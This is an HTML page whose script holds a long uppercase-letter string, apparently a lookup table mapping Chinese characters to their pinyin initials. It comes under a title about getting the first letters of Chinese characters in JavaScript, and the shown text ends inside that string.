js取汉字首字母

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> </body> <script> var strChineseFirstPY = "YDYQSXMWZSSXJBYMGCCZQPSSQBYCDSCDQLDYLYBSSJGYZZJJFKCCLZDHWDWZJLJPFYYNWJJTMYHZWZHFLZPPQHGSCYYYNJQYXXGJHHSDSJNKKTMOMLCRXYPSNQSECCQZGGLLYJLMYZZSECYKYYHQWJSSGGYXYZYJWWKDJHYCHMYXJTLXJYQBYXZLDWRDJRWYSRLDZJPCBZJJBRCFTLECZSTZFXXZHTRQHYBDLYCZSSYMMRFMYQZPWWJJYFCRWFDFZQPYDDWYXKYJAWJFFXYPSFTZYHHYZYSWCJYXSCLCXXWZZXNBGNNXBXLZSZSBSGPYSYZDHMDZBQBZCWDZZYYTZHBTSYYBZGNTNXQYWQSKBPHHLXGYBFMJEBJHHGQTJCYSXSTKZHLYCKGLYSMZXYALMELDCCXGZYRJXSDLTYZCQKCNNJWHJTZZCQLJSTSTBNXBTYXCEQXGKWJYFLZQLYHYXSPSFXLMPBYSXXXYDJCZYLLLSJXFHJXPJBTFFYABYXBHZZBJYZLWLCZGGBTSSMDTJZXPTHYQTGLJSCQFZKJZJQNLZWLSLHDZBWJNCJZYZSQQYCQYRZCJJWYBRTWPYFTWEXCSKDZCTBZHYZZYYJXZCFFZZMJYXXSDZZOTTBZLQWFCKSZSXFYRLNYJMBDTHJXSQQCCSBXYYTSYFBXDZTGBCNSLCYZZPSAZYZZSCJCSHZQYDXLBPJLLMQXTYDZXSQJTZPXLCGLQTZWJBHCTSYJSFXYEJJTLBGXSXJMYJQQPFZASYJNTYDJXKJCDJSZCBARTDCLYJQMWNQNCLLLKBYBZZSYHQQLTWLCCXTXLLZNTYLNEWYZYXCZXXGRKRMTCNDNJTSYYSSDQDGHSDBJGHRWRQLYBGLXHLGTGXBQJDZPYJSJYJCTMRNYMGRZJCZGJMZMGXMPRYXKJNYMSGMZJYMKMFXMLDTGFBHCJHKYLPFMDXLQJJSMTQGZSJLQDLDGJYCALCMZCSDJLLNXDJFFFFJCZFMZFFPFKHKGDPSXKTACJDHHZDDCRRCFQYJKQCCWJDXHWJLYLLZGCFCQDSMLZPBJJPLSBCJGGDCKKDEZSQCCKJGCGKDJTJDLZYCXKLQSCGJCLTFPCQCZGWPJDQYZJJBYJHSJDZWGFSJGZKQCCZLLPSPKJGQJHZZLJPLGJGJJTHJJYJZCZMLZLYQBGJWMLJKXZDZNJQSYZMLJLLJKYWXMKJLHSKJGBMCLYYMKXJQLBMLLKMDXXKWYXYSLMLPSJQQJQXYXFJTJDXMXXLLCXQBSYJBGWYMBGGBCYXPJYGPEPFGDJGBHBNSQJYZJKJKHXQFGQZKFHYGKHDKLLSDJQXPQYKYBNQSXQNSZSWHBSXWHXWBZZXDMNSJBSBKBBZKLYLXGWXDRWYQZMYWSJQLCJXXJXKJEQXSCYETLZHLYYYSDZPAQYZCMTLSHTZCFYZYXYLJSDCJQAGYSLCQLYYYSHMRQQKLDXZSCSSSYDYCJYSFSJBFRSSZQSBXXPXJYSDRCKGJLGDKZJZBDKTCSYQPYHSTCLDJDHMXMCGXYZHJDDTMHLTXZXYLYMOHYJCLTYFBQQXPFBDFHHTKSQHZYYWCNXXCRWHOWGYJLEGWDQCWGFJYCSNTMYTOLBYGWQWESJPWNMLRYDZSZTXYQPZGCWXHNGPYXSHMYQJXZTDPPBFYHZHTJYFDZWKGKZBLDNTSXHQEEGZZYLZMMZYJZGXZXKHKSTXNXXWYLYAPSTHXDWHZYMPXAGKYDXBHNHXKDPJNMYHYLPMGOCSLNZHKXXLPZZLBMLSFBHHGYGYYGGBHSCYAQTYWLXTZQCEZYDQDQMMHTKLLSZHLSJZWFYHQSWSCWLQAZYNYTLSXTHAZNKZZSZZLAXXZWWCTGQQTDDYZTCCHYQZFLXPSLZYGPZSZNGLNDQTBDLXGTCTAJDKYWNSYZLJHHZZCWNYYZYWMHYCHHYXHJKZWSXHZYXLYSKQYSPSLYZWMYPPKBYGLKZHTYXAXQSYSHXASMCHKDSCRSWJPWXSGZJLWWSCHSJHSQNHCSEGNDAQTBAALZZMSSTDQJCJKTSCJAXPLGGXHHGXXZCXPDMMHLDGTYBYSJMXHMRCPXXJZCKZXSHMLQXXTTHXWZFKHCCZDYTCJYXQHLXDHYPJQXYLSYYDZOZJNYXQEZYSQYAYXWYPDGXDDXSPPYZNDLTWRHXYDXZZJHTCXMCZLHPYYYYMHZLLHNXMYLLLMDCPPXHMXDKYCYRDLTXJCHHZZXZLCCLYLNZSHZJZZLNNRLWHYQSNJHXYNTTTKYJPYCHHYEGKCTTWLGQRLGGTGTYGYHPYHYLQYQGCWYQKPYYYTTTTLHYHLLTYTTSPLKYZXGZWGPYDSSZZDQXSKCQNMJJZZBXYQMJRTFFBTKHZKBXLJJKDXJTLBWFZPPTKQTZTGPDGNTPJYFALQMKGXBDCLZFHZCLLLLADPMXDJHLCCLGYHDZFGYDDGCYYFGYDXKSSEBDHYKDKDKHNAXXYBPBYYHXZQGAFFQYJXDMLJCSQZLLPCHBSXGJYNDYBYQSPZWJLZKSDDTACTBXZDYZYPJZQSJNKKTKNJDJGYYPGTLFYQKASDNTCYHBLWDZHBBYDWJRYGKZYHEYYFJMSDTYFZJJHGCXPLXHLDWXXJKYTCYKSSSMTWCTTQZLPBSZDZWZXGZAGYKTYWXLHLSPBCLLOQMMZSSLCMBJCSZZKYDCZJGQQDSMCYTZQQLWZQZXSSFPTTFQMDDZDSHDTDWFHTDYZJYQJQKYPBDJYYXTLJHDRQXXXHAYDHRJLKLYTWHLLRLLRCXYLBWSRSZZSYMKZZHHKYHXKSMDSYDYCJPBZBSQLFCXXXNXKXWYWSDZYQOGGQMMYHCDZTTFJYYBGSTTTYBYKJDHKYXBELHTYPJQNFXFDYKZHQKZBYJTZBXHFDXKDASWTAWAJLDYJSFHBLDNNTNQJTJNCHXFJSRFWHZFMDRYJYJWZPDJKZYJYMPCYZNYNXFBYTFYFWYGDBNZZZDNYTXZEMMQBSQEHXFZMBMFLZZSRXYMJGSXWZJSPRYDJSJGXHJJGLJJYNZZJXHGXKYMLPYYYCXYTWQZSWHWLYRJLPXSLSXMFSWWKLCTNXNYNPSJSZHDZEPTXMYYWXYYSYWLXJQZQXZDCLEEELMCPJPCLWBXSQHFWWTFFJTNQJHJQDXHWLBYZNFJLALKYYJLDXHHYCSTYYWNRJYXYWTRMDRQHWQCMFJDYZMHMYYXJWMYZQZXTLMRSPWWCHAQBXYGZYPXYYRRCLMPYMGKSJSZYSRMYJSNXTPLNBAPPYPYLXYYZKYNLDZYJZCZNNLMZHHARQMPGWQTZMXXMLLHGDZXYHXKYXYCJMFFYYHJFSBSSQLXXNDYCANNMTCJCYPRRNYTYQNYYMBMSXNDLYLYSLJRLXYSXQMLLYZLZJJJKYZZCSFBZXXMSTBJGNXYZHLXNMCWSCYZYFZLXBRNNNYLBNRTGZQYSATSWRYHYJZMZDHZGZDWYBSSCSKXSYHYTXXGCQGXZZSHYXJSCRHMKKBXCZJYJYMKQHZJFNBHMQHYSNJNZYBKNQMCLGQHWLZNZSWXKHLJHYYBQLBFCDSXDLDSPFZPSKJYZWZXZDDXJSMMEGJSCSSMGCLXXKYYYLNYPWWWGYDKZJGGGZGGSYCKNJWNJPCXBJJTQTJWDSSPJXZXNZXUMELPXFSXTLLXCLJXJJLJZXCTPSWXLYDHLYQRWHSYCSQYYBYAYWJJJQFWQCQQCJQGXALDBZZYJGKGXPLTZYFXJLTPADKYQHPMATLCPDCKBMTXYBHKLENXDLEEGQDYMSAWHZMLJTWYGXLYQZLJEEYYBQQFFNLYXRDSCTGJGXYYNKLLYQKCCTLHJLQMKKZGCYYGLLLJDZGYDHZWXPYSJBZKDZGYZZHYWYFQYTYZSZYEZZLYMHJJHTSMQWYZLKYYWZCSRKQYTLTDXWCTYJKLWSQZWBDCQYNCJSRSZJLKCDCDTLZZZACQQZZDDXYPLXZBQJYLZLLLQDDZQJYJYJZYXNYYYNYJXKXDAZWYRDLJYYYRJLXLLDYXJCYWYWNQCCLDDNYYYNYCKCZHXXCCLGZQJGKWPPCQQJYSBZZXYJSQPXJPZBSBDSFNSFPZXHDWZTDWPPTFLZZBZDMYYPQJRSDZSQZSQXBDGCPZSWDWCSQZGMDHZXMWWFYBPDGPHTMJTHZSMMBGZMBZJCFZWFZBBZMQCFMBDMCJXLGPNJBBXGYHYYJGPTZGZMQBQTCGYXJXLWZKYDPDYMGCFTPFXYZTZXDZXTGKMTYBBCLBJASKYTSSQYYMSZXFJEWLXLLSZBQJJJAKLYLXLYCCTSXMCWFKKKBSXLLLLJYXTYLTJYYTDPJHNHNNKBYQNFQYYZBYYESSESSGDYHFHWTCJBSDZZTFDMXHCNJZYMQWSRYJDZJQPDQBBSTJGGFBKJBXTGQHNGWJXJGDLLTHZHHYYYYYYSXWTYYYCCBDBPYPZYCCZYJPZYWCBDLFWZCWJDXXHYHLHWZZXJTCZLCDPXUJCZZZLYXJJTXPHFXWPYWXZPTDZZBDZCYHJHMLXBQXSBYLRDTGJRRCTTTHYTCZWMXFYTWWZCWJWXJYWCSKYBZSCCTZQNHXNWXXKHKFHTSWOCCJYBCMPZZYKBNNZPBZHHZDLSYDDYTYFJPXYNGFXBYQXCBHXCPSXTYZDMKYSNXSXLHKMZXLYHDHKWHXXSSKQYHHCJYXGLHZXCSNHEKDTGZXQYPKDHEXTYKCNYMYYYPKQYYYKXZLTHJQTBYQHXBMYHSQCKWWYLLHCYYLNNEQXQWMCFBDCCMLJGGXDQKTLXKGNQCDGZJWYJJLYHHQTTTNWCHMXCXWHWSZJYDJCCDBQCDGDNYXZTHCQRXCBHZTQCBXWGQWYYBXHMBYMYQTYEXMQKYAQYRGYZSLFYKKQHYSSQYSHJGJCNXKZYCXSBXYXHYYLSTYCXQTHYSMGSCPMMGCCCCCMTZTASMGQZJHKLOSQYLSWTMXSYQKDZLJQQYPLSYCZTCQQPBBQJZCLPKHQZYYXXDTDDTSJCXFFLLCHQXMJLWCJCXTSPYCXNDTJSHJWXDQQJSKXYAMYLSJHMLALYKXCYYDMNMDQMXMCZNNCYBZKKYFLMCHCMLHXRCJJHSYLNMTJZGZGYWJXSRXCWJGJQHQZDQJDCJJZKJKGDZQGJJYJYLXZXXCDQHHHEYTMHLFSBDJSYYSHFYSTCZQLPBDRFRZTZYKYWHSZYQKWDQZRKMSYNBCRXQBJYFAZPZZEDZCJYWBCJWHYJBQSZYWRYSZPTDKZPFPBNZTKLQYHBBZPNPPTYZZYBQNYDCPJMMCYCQMCYFZZDCMNLFPBPLNGQJTBTTNJZPZBBZNJKLJQYLNBZQHKSJZNGGQSZZKYXSHPZSNBCGZKDDZQANZHJKDRTLZLSWJLJZLYWTJNDJZJHXYAYNCBGTZCSSQMNJPJYTYSWXZFKWJQTKHTZPLBHSNJZSYZBWZZZZLSYLSBJHDWWQPSLMMFBJDWAQYZTCJTBNNWZXQXCDSLQGDSDPDZHJTQQPSWLYYJZLGYXYZLCTCBJTKTYCZJTQKBSJLGMGZDMCSGPYNJZYQYYKNXRPWSZXMTNCSZZYXYBYHYZAXYWQCJTLLCKJJTJHGDXDXYQYZZBYWDLWQCGLZGJGQRQZCZSSBCRPCSKYDZNXJSQGXSSJMYDNSTZTPBDLTKZWXQWQTZEXNQCZGWEZKSSBYBRTSSSLCCGBPSZQSZLCCGLLLZXHZQTHCZMQGYZQZNMCOCSZJMMZSQPJYGQLJYJPPLDXRGZYXCCSXHSHGTZNLZWZKJCXTCFCJXLBMQBCZZWPQDNHXLJCTHYZLGYLNLSZZPCXDSCQQHJQKSXZPBAJYEMSMJTZDXLCJYRYYNWJBNGZZTMJXLTBSLYRZPYLSSCNXPHLLHYLLQQZQLXYMRSYCXZLMMCZLTZSDWTJJLLNZGGQXPFSKYGYGHBFZPDKMWGHCXMSGDXJMCJZDYCABXJDLNBCDQYGSKYDQTXDJJYXMSZQAZDZFSLQXYJSJZYLBTXXWXQQZBJZUFBBLYLWDSLJHXJYZJWTDJCZFQZQZZDZSXZZQLZCDZFJHYSPYMPQZMLPPLFFXJJNZZYLSJEYQZFPFZKSYWJJJHRDJZZXTXXGLGHYDXCSKYSWMMZCWYBAZBJKSHFHJCXMHFQHYXXYZFTSJYZFXYXPZLCHMZMBXHZZSXYFYMNCWDABAZLXKTCSHHXKXJJZJSTHYGXSXYYHHHJWXKZXSSBZZWHHHCWTZZZPJXSNXQQJGZYZYWLLCWXZFXXYXYHXMKYYSWSQMNLNAYCYSPMJKHWCQHYLAJJMZXHMMCNZHBHXCLXTJPLTXYJHDYYLTTXFSZHYXXSJBJYAYRSMXYPLCKDUYHLXRLNLLSTYZYYQYGYHHSCCSMZCTZQXKYQFPYYRPFFLKQUNTSZLLZMWWTCQQYZWTLLMLMPWMBZSSTZRBPDDTLQJJBXZCSRZQQYGWCSXFWZLXCCRSZDZMCYGGDZQSGTJSWLJMYMMZYHFBJDGYXCCPSHXNZCSBSJYJGJMPPWAFFYFNXHYZXZYLREMZGZCYZSSZDLLJCSQFNXZKPTXZGXJJGFMYYYSNBTYLBNLHPFZDCYFBMGQRRSSSZXYSGTZRNYDZZCDGPJAFJFZKNZBLCZSZPSGCYCJSZLMLRSZBZZLDLSLLYSXSQZQLYXZLSKKBRXBRBZCYCXZZZEEYFGKLZLYYHGZSGZLFJHGTGWKRAAJYZKZQTSSHJJXDCYZUYJLZYRZDQQHGJZXSSZBYKJPBFRTJXLLFQWJHYLQTYMBLPZDXTZYGBDHZZRBGXHWNJTJXLKSCFSMWLSDQYSJTXKZSCFWJLBXFTZLLJZLLQBLSQMQQCGCZFPBPHZCZJLPYYGGDTGWDCFCZQYYYQYSSCLXZSKLZZZGFFCQNWGLHQYZJJCZLQZZYJPJZZBPDCCMHJGXDQDGDLZQMFGPSYTSDYFWWDJZJYSXYYCZCYHZWPBYKXRYLYBHKJKSFXTZJMMCKHLLTNYYMSYXYZPYJQYCSYCWMTJJKQYRHLLQXPSGTLYYCLJSCPXJYZFNMLRGJJTYZBXYZMSJYJHHFZQMSYXRSZCWTLRTQZSSTKXGQKGSPTGCZNJSJCQCXHMXGGZTQYDJKZDLBZSXJLHYQGGGTHQSZPYHJHHGYYGKGGCWJZZYLCZLXQSFTGZSLLLMLJSKCTBLLZZSZMMNYTPZSXQHJCJYQXYZXZQZCPSHKZZYSXCDFGMWQRLLQXRFZTLYSTCTMJCXJJXHJNXTNRZTZFQYHQGLLGCXSZSJDJLJCYDSJTLNYXHSZXCGJZYQPYLFHDJSBPCCZHJJJQZJQDYBSSLLCMYTTMQTBHJQNNYGKYRQYQMZGCJKPDCGMYZHQLLSLLCLMHOLZGDYYFZSLJCQZLYLZQJESHNYLLJXGJXLYSYYYXNBZLJSSZCQQCJYLLZLTJYLLZLLBNYLGQCHXYYXOXCXQKYJXXXYKLXSXXYQXCYKQXQCSGYXXYQXYGYTQOHXHXPYXXXULCYEYCHZZCBWQBBWJQZSCSZSSLZYLKDESJZWMYMCYTSDSXXSCJPQQSQYLYYZYCMDJDZYWCBTJSYDJKCYDDJLBDJJSODZYSYXQQYXDHHGQQYQHDYXWGMMMAJDYBBBPPBCMUUPLJZSMTXERXJMHQNUTPJDCBSSMSSSTKJTSSMMTRCPLZSZMLQDSDMJMQPNQDXCFYNBFSDQXYXHYAYKQYDDLQYYYSSZBYDSLNTFQTZQPZMCHDHCZCWFDXTMYQSPHQYYXSRGJCWTJTZZQMGWJJTJHTQJBBHWZPXXHYQFXXQYWYYHYSCDYDHHQMNMTMWCPBSZPPZZGLMZFOLLCFWHMMSJZTTDHZZYFFYTZZGZYSKYJXQYJZQBHMBZZLYGHGFMSHPZFZSNCLPBQSNJXZSLXXFPMTYJYGBXLLDLXPZJYZJYHHZCYWHJYLSJEXFSZZYWXKZJLUYDTMLYMQJPWXYHXSKTQJEZRPXXZHHMHWQPWQLYJJQJJZSZCPHJLCHHNXJLQWZJHBMZYXBDHHYPZLHLHLGFWLCHYYTLHJXCJMSCPXSTKPNHQXSRTYXXTESYJCTLSSLSTDLLLWWYHDHRJZSFGXTSYCZYNYHTDHWJSLHTZDQDJZXXQHGYLTZPHCSQFCLNJTCLZPFSTPDYNYLGMJLLYCQHYSSHCHYLHQYQTMZYPBYWRFQYKQSYSLZDQJMPXYYSSRHZJNYWTQDFZBWWTWWRXCWHGYHXMKMYYYQMSMZHNGCEPMLQQMTCWCTMMPXJPJJHFXYYZSXZHTYBMSTSYJTTQQQYYLHYNPYQZLCYZHZWSMYLKFJXLWGXYPJYTYSYXYMZCKTTWLKSMZSYLMPWLZWXWQZSSAQSYXYRHSSNTSRAPXCPWCMGDXHXZDZYFJHGZTTSBJHGYZSZYSMYCLLLXBTYXHBBZJKSSDMALXHYCFYGMQYPJYCQXJLLLJGSLZGQLYCJCCZOTYXMTMTTLLWTGPXYMZMKLPSZZZXHKQYSXCTYJZYHXSHYXZKXLZWPSQPYHJWPJPWXQQYLXSDHMRSLZZYZWTTCYXYSZZSHBSCCSTPLWSSCJCHNLCGCHSSPHYLHFHHXJSXYLLNYLSZDHZXYLSXLWZYKCLDYAXZCMDDYSPJTQJZLNWQPSSSWCTSTSZLBLNXSMNYYMJQBQHRZWTYYDCHQLXKPZWBGQYBKFCMZWPZLLYYLSZYDWHXPSBCMLJBSCGBHXLQHYRLJXYSWXWXZSLDFHLSLYNJLZYFLYJYCDRJLFSYZFSLLCQYQFGJYHYXZLYLMSTDJCYHBZLLNWLXXYGYYHSMGDHXXHHLZZJZXCZZZCYQZFNGWPYLCPKPYYPMCLQKDGXZGGWQBDXZZKZFBXXLZXJTPJPTTBYTSZZDWSLCHZHSLTYXHQLHYXXXYYZYSWTXZKHLXZXZPYHGCHKCFSYHUTJRLXFJXPTZTWHPLYXFCRHXSHXKYXXYHZQDXQWULHYHMJTBFLKHTXCWHJFWJCFPQRYQXCYYYQYGRPYWSGSUNGWCHKZDXYFLXXHJJBYZWTSXXNCYJJYMSWZJQRMHXZWFQSYLZJZGBHYNSLBGTTCSYBYXXWXYHXYYXNSQYXMQYWRGYQLXBBZLJSYLPSYTJZYHYZAWLRORJMKSCZJXXXYXCHDYXRYXXJDTSQFXLYLTSFFYXLMTYJMJUYYYXLTZCSXQZQHZXLYYXZHDNBRXXXJCTYHLBRLMBRLLAXKYLLLJLYXXLYCRYLCJTGJCMTLZLLCYZZPZPCYAWHJJFYBDYYZSMPCKZDQYQPBPCJPDCYZMDPBCYYDYCNNPLMTMLRMFMMGWYZBSJGYGSMZQQQZTXMKQWGXLLPJGZBQCDJJJFPKJKCXBLJMSWMDTQJXLDLPPBXCWRCQFBFQJCZAHZGMYKPHYYHZYKNDKZMBPJYXPXYHLFPNYYGXJDBKXNXHJMZJXSTRSTLDXSKZYSYBZXJLXYSLBZYSLHXJPFXPQNBYLLJQKYGZMCYZZYMCCSLCLHZFWFWYXZMWSXTYNXJHPYYMCYSPMHYSMYDYSHQYZCHMJJMZCAAGCFJBBHPLYZYLXXSDJGXDHKXXTXXNBHRMLYJSLTXMRHNLXQJXYZLLYSWQGDLBJHDCGJYQYCMHWFMJYBMBYJYJWYMDPWHXQLDYGPDFXXBCGJSPCKRSSYZJMSLBZZJFLJJJLGXZGYXYXLSZQYXBEXYXHGCXBPLDYHWETTWWCJMBTXCHXYQXLLXFLYXLLJLSSFWDPZSMYJCLMWYTCZPCHQEKCQBWLCQYDPLQPPQZQFJQDJHYMMCXTXDRMJWRHXCJZYLQXDYYNHYYHRSLSRSYWWZJYMTLTLLGTQCJZYABTCKZCJYCCQLJZQXALMZYHYWLWDXZXQDLLQSHGPJFJLJHJABCQZDJGTKHSSTCYJLPSWZLXZXRWGLDLZRLZXTGSLLLLZLYXXWGDZYGBDPHZPBRLWSXQBPFDWOFMWHLYPCBJCCLDMBZPBZZLCYQXLDOMZBLZWPDWYYGDSTTHCSQSCCRSSSYSLFYBFNTYJSZDFNDPDHDZZMBBLSLCMYFFGTJJQWFTMTPJWFNLBZCMMJTGBDZLQLPYFHYYMJYLSDCHDZJWJCCTLJCLDTLJJCPDDSQDSSZYBNDBJLGGJZXSXNLYCYBJXQYCBYLZCFZPPGKCXZDZFZTJJFJSJXZBNZYJQTTYJYHTYCZHYMDJXTTMPXSPLZCDWSLSHXYPZGTFMLCJTYCBPMGDKWYCYZCDSZZYHFLYCTYGWHKJYYLSJCXGYWJCBLLCSNDDBTZBSCLYZCZZSSQDLLMQYYHFSLQLLXFTYHABXGWNYWYYPLLSDLDLLBJCYXJZMLHLJDXYYQYTDLLLBUGBFDFBBQJZZMDPJHGCLGMJJPGAEHHBWCQXAXHHHZCHXYPHJAXHLPHJPGPZJQCQZGJJZZUZDMQYYBZZPHYHYBWHAZYJHYKFGDPFQSDLZMLJXKXGALXZDAGLMDGXMWZQYXXDXXPFDMMSSYMPFMDMMKXKSYZYSHDZKXSYSMMZZZMSYDNZZCZXFPLSTMZDNMXCKJMZTYYMZMZZMSXHHDCZJEMXXKLJSTLWLSQLYJZLLZJSSDPPMHNLZJCZYHMXXHGZCJMDHXTKGRMXFWMCGMWKDTKSXQMMMFZZYDKMSCLCMPCGMHSPXQPZDSSLCXKYXTWLWJYAHZJGZQMCSNXYYMMPMLKJXMHLMLQMXCTKZMJQYSZJSYSZHSYJZJCDAJZYBSDQJZGWZQQXFKDMSDJLFWEHKZQKJPEYPZYSZCDWYJFFMZZYLTTDZZEFMZLBNPPLPLPEPSZALLTYLKCKQZKGENQLWAGYXYDPXLHSXQQWQCQXQCLHYXXMLYCCWLYMQYSKGCHLCJNSZKPYZKCQZQLJPDMDZHLASXLBYDWQLWDNBQCRYDDZTJYBKBWSZDXDTNPJDTCTQDFXQQMGNXECLTTBKPWSLCTYQLPWYZZKLPYGZCQQPLLKCCYLPQMZCZQCLJSLQZDJXLDDHPZQDLJJXZQDXYZQKZLJCYQDYJPPYPQYKJYRMPCBYMCXKLLZLLFQPYLLLMBSGLCYSSLRSYSQTMXYXZQZFDZUYSYZTFFMZZSMZQHZSSCCMLYXWTPZGXZJGZGSJSGKDDHTQGGZLLBJDZLCBCHYXYZHZFYWXYZYMSDBZZYJGTSMTFXQYXQSTDGSLNXDLRYZZLRYYLXQHTXSRTZNGZXBNQQZFMYKMZJBZYMKBPNLYZPBLMCNQYZZZSJZHJCTZKHYZZJRDYZHNPXGLFZTLKGJTCTSSYLLGZRZBBQZZKLPKLCZYSSUYXBJFPNJZZXCDWXZYJXZZDJJKGGRSRJKMSMZJLSJYWQSKYHQJSXPJZZZLSNSHRNYPZTWCHKLPSRZLZXYJQXQKYSJYCZTLQZYBBYBWZPQDWWYZCYTJCJXCKCWDKKZXSGKDZXWWYYJQYYTCYTDLLXWKCZKKLCCLZCQQDZLQLCSFQCHQHSFSMQZZLNBJJZBSJHTSZDYSJQJPDLZCDCWJKJZZLPYCGMZWDJJBSJQZSYZYHHXJPBJYDSSXDZNCGLQMBTSFSBPDZDLZNFGFJGFSMPXJQLMBLGQCYYXBQKDJJQYRFKZTJDHCZKLBSDZCFJTPLLJGXHYXZCSSZZXSTJYGKGCKGYOQXJPLZPBPGTGYJZGHZQZZLBJLSQFZGKQQJZGYCZBZQTLDXRJXBSXXPZXHYZYCLWDXJJHXMFDZPFZHQHQMQGKSLYHTYCGFRZGNQXCLPDLBZCSCZQLLJBLHBZCYPZZPPDYMZZSGYHCKCPZJGSLJLNSCDSLDLXBMSTLDDFJMKDJDHZLZXLSZQPQPGJLLYBDSZGQLBZLSLKYYHZTTNTJYQTZZPSZQZTLLJTYYLLQLLQYZQLBDZLSLYYZYMDFSZSNHLXZNCZQZPBWSKRFBSYZMTHBLGJPMCZZLSTLXSHTCSYZLZBLFEQHLXFLCJLYLJQCBZLZJHHSSTBRMHXZHJZCLXFNBGXGTQJCZTMSFZKJMSSNXLJKBHSJXNTNLZDNTLMSJXGZJYJCZXYJYJWRWWQNZTNFJSZPZSHZJFYRDJSFSZJZBJFZQZZHZLXFYSBZQLZSGYFTZDCSZXZJBQMSZKJRHYJZCKMJKHCHGTXKXQGLXPXFXTRTYLXJXHDTSJXHJZJXZWZLCQSBTXWXGXTXXHXFTSDKFJHZYJFJXRZSDLLLTQSQQZQWZXSYQTWGWBZCGZLLYZBCLMQQTZHZXZXLJFRMYZFLXYSQXXJKXRMQDZDMMYYBSQBHGZMWFWXGMXLZPYYTGZYCCDXYZXYWGSYJYZNBHPZJSQSYXSXRTFYZGRHZTXSZZTHCBFCLSYXZLZQMZLMPLMXZJXSFLBYZMYQHXJSXRXSQZZZSSLYFRCZJRCRXHHZXQYDYHXSJJHZCXZBTYNSYSXJBQLPXZQPYMLXZKYXLXCJLCYSXXZZLXDLLLJJYHZXGYJWKJRWYHCPSGNRZLFZWFZZNSXGXFLZSXZZZBFCSYJDBRJKRDHHGXJLJJTGXJXXSTJTJXLYXQFCSGSWMSBCTLQZZWLZZKXJMLTMJYHSDDBXGZHDLBMYJFRZFSGCLYJBPMLYSMSXLSZJQQHJZFXGFQFQBPXZGYYQXGZTCQWYLTLGWSGWHRLFSFGZJMGMGBGTJFSYZZGZYZAFLSSPMLPFLCWBJZCLJJMZLPJJLYMQDMYYYFBGYGYZMLYZDXQYXRQQQHSYYYQXYLJTYXFSFSLLGNQCYHYCWFHCCCFXPYLYPLLZYXXXXXKQHHXSHJZCFZSCZJXCPZWHHHHHAPYLQALPQAFYHXDYLUKMZQGGGDDESRNNZLTZGCHYPPYSQJJHCLLJTOLNJPZLJLHYMHEYDYDSQYCDDHGZUNDZCLZYZLLZNTNYZGSLHSLPJJBDGWXPCDUTJCKLKCLWKLLCASSTKZZDNQNTTLYYZSSYSSZZRYLJQKCQDHHCRXRZYDGRGCWCGZQFFFPPJFZYNAKRGYWYQPQXXFKJTSZZXSWZDDFBBXTBGTZKZNPZZPZXZPJSZBMQHKCYXYLDKLJNYPKYGHGDZJXXEAHPNZKZTZCMXCXMMJXNKSZQNMNLWBWWXJKYHCPSTMCSQTZJYXTPCTPDTNNPGLLLZSJLSPBLPLQHDTNJNLYYRSZFFJFQWDPHZDWMRZCCLODAXNSSNYZRESTYJWJYJDBCFXNMWTTBYLWSTSZGYBLJPXGLBOCLHPCBJLTMXZLJYLZXCLTPNCLCKXTPZJSWCYXSFYSZDKNTLBYJCYJLLSTGQCBXRYZXBXKLYLHZLQZLNZCXWJZLJZJNCJHXMNZZGJZZXTZJXYCYYCXXJYYXJJXSSSJSTSSTTPPGQTCSXWZDCSYFPTFBFHFBBLZJCLZZDBXGCXLQPXKFZFLSYLTUWBMQJHSZBMDDBCYSCCLDXYCDDQLYJJWMQLLCSGLJJSYFPYYCCYLTJANTJJPWYCMMGQYYSXDXQMZHSZXPFTWWZQSWQRFKJLZJQQYFBRXJHHFWJJZYQAZMYFRHCYYBYQWLPEXCCZSTYRLTTDMQLYKMBBGMYYJPRKZNPBSXYXBHYZDJDNGHPMFSGMWFZMFQMMBCMZZCJJLCNUXYQLMLRYGQZCYXZLWJGCJCGGMCJNFYZZJHYCPRRCMTZQZXHFQGTJXCCJEAQCRJYHPLQLSZDJRBCQHQDYRHYLYXJSYMHZYDWLDFRYHBPYDTSSCNWBXGLPZMLZZTQSSCPJMXXYCSJYTYCGHYCJWYRXXLFEMWJNMKLLSWTXHYYYNCMMCWJDQDJZGLLJWJRKHPZGGFLCCSCZMCBLTBHBQJXQDSPDJZZGKGLFQYWBZYZJLTSTDHQHCTCBCHFLQMPWDSHYYTQWCNZZJTLBYMBPDYYYXSQKXWYYFLXXNCWCXYPMAELYKKJMZZZBRXYYQJFLJPFHHHYTZZXSGQQMHSPGDZQWBWPJHZJDYSCQWZKTXXSQLZYYMYSDZGRXCKKUJLWPYSYSCSYZLRMLQSYLJXBCXTLWDQZPCYCYKPPPNSXFYZJJRCEMHSZMSXLXGLRWGCSTLRSXBZGBZGZTCPLUJLSLYLYMTXMTZPALZXPXJTJWTCYYZLBLXBZLQMYLXPGHDSLSSDMXMBDZZSXWHAMLCZCPJMCNHJYSNSYGCHSKQMZZQDLLKABLWJXSFMOCDXJRRLYQZKJMYBYQLYHETFJZFRFKSRYXFJTWDSXXSYSQJYSLYXWJHSNLXYYXHBHAWHHJZXWMYLJCSSLKYDZTXBZSYFDXGXZJKHSXXYBSSXDPYNZWRPTQZCZENYGCXQFJYKJBZMLJCMQQXUOXSLYXXLYLLJDZBTYMHPFSTTQQWLHOKYBLZZALZXQLHZWRRQHLSTMYPYXJJXMQSJFNBXYXYJXXYQYLTHYLQYFMLKLJTMLLHSZWKZHLJMLHLJKLJSTLQXYLMBHHLNLZXQJHXCFXXLHYHJJGBYZZKBXSCQDJQDSUJZYYHZHHMGSXCSYMXFEBCQWWRBPYYJQTYZCYQYQQZYHMWFFHGZFRJFCDPXNTQYZPDYKHJLFRZXPPXZDBBGZQSTLGDGYLCQMLCHHMFYWLZYXKJLYPQHSYWMQQGQZMLZJNSQXJQSYJYCBEHSXFSZPXZWFLLBCYYJDYTDTHWZSFJMQQYJLMQXXLLDTTKHHYBFPWTYYSQQWNQWLGWDEBZWCMYGCULKJXTMXMYJSXHYBRWFYMWFRXYQMXYSZTZZTFYKMLDHQDXWYYNLCRYJBLPSXCXYWLSPRRJWXHQYPHTYDNXHHMMYWYTZCSQMTSSCCDALWZTCPQPYJLLQZYJSWXMZZMMYLMXCLMXCZMXMZSQTZPPQQBLPGXQZHFLJJHYTJSRXWZXSCCDLXTYJDCQJXSLQYCLZXLZZXMXQRJMHRHZJBHMFLJLMLCLQNLDXZLLLPYPSYJYSXCQQDCMQJZZXHNPNXZMEKMXHYKYQLXSXTXJYYHWDCWDZHQYYBGYBCYSCFGPSJNZDYZZJZXRZRQJJYMCANYRJTLDPPYZBSTJKXXZYPFDWFG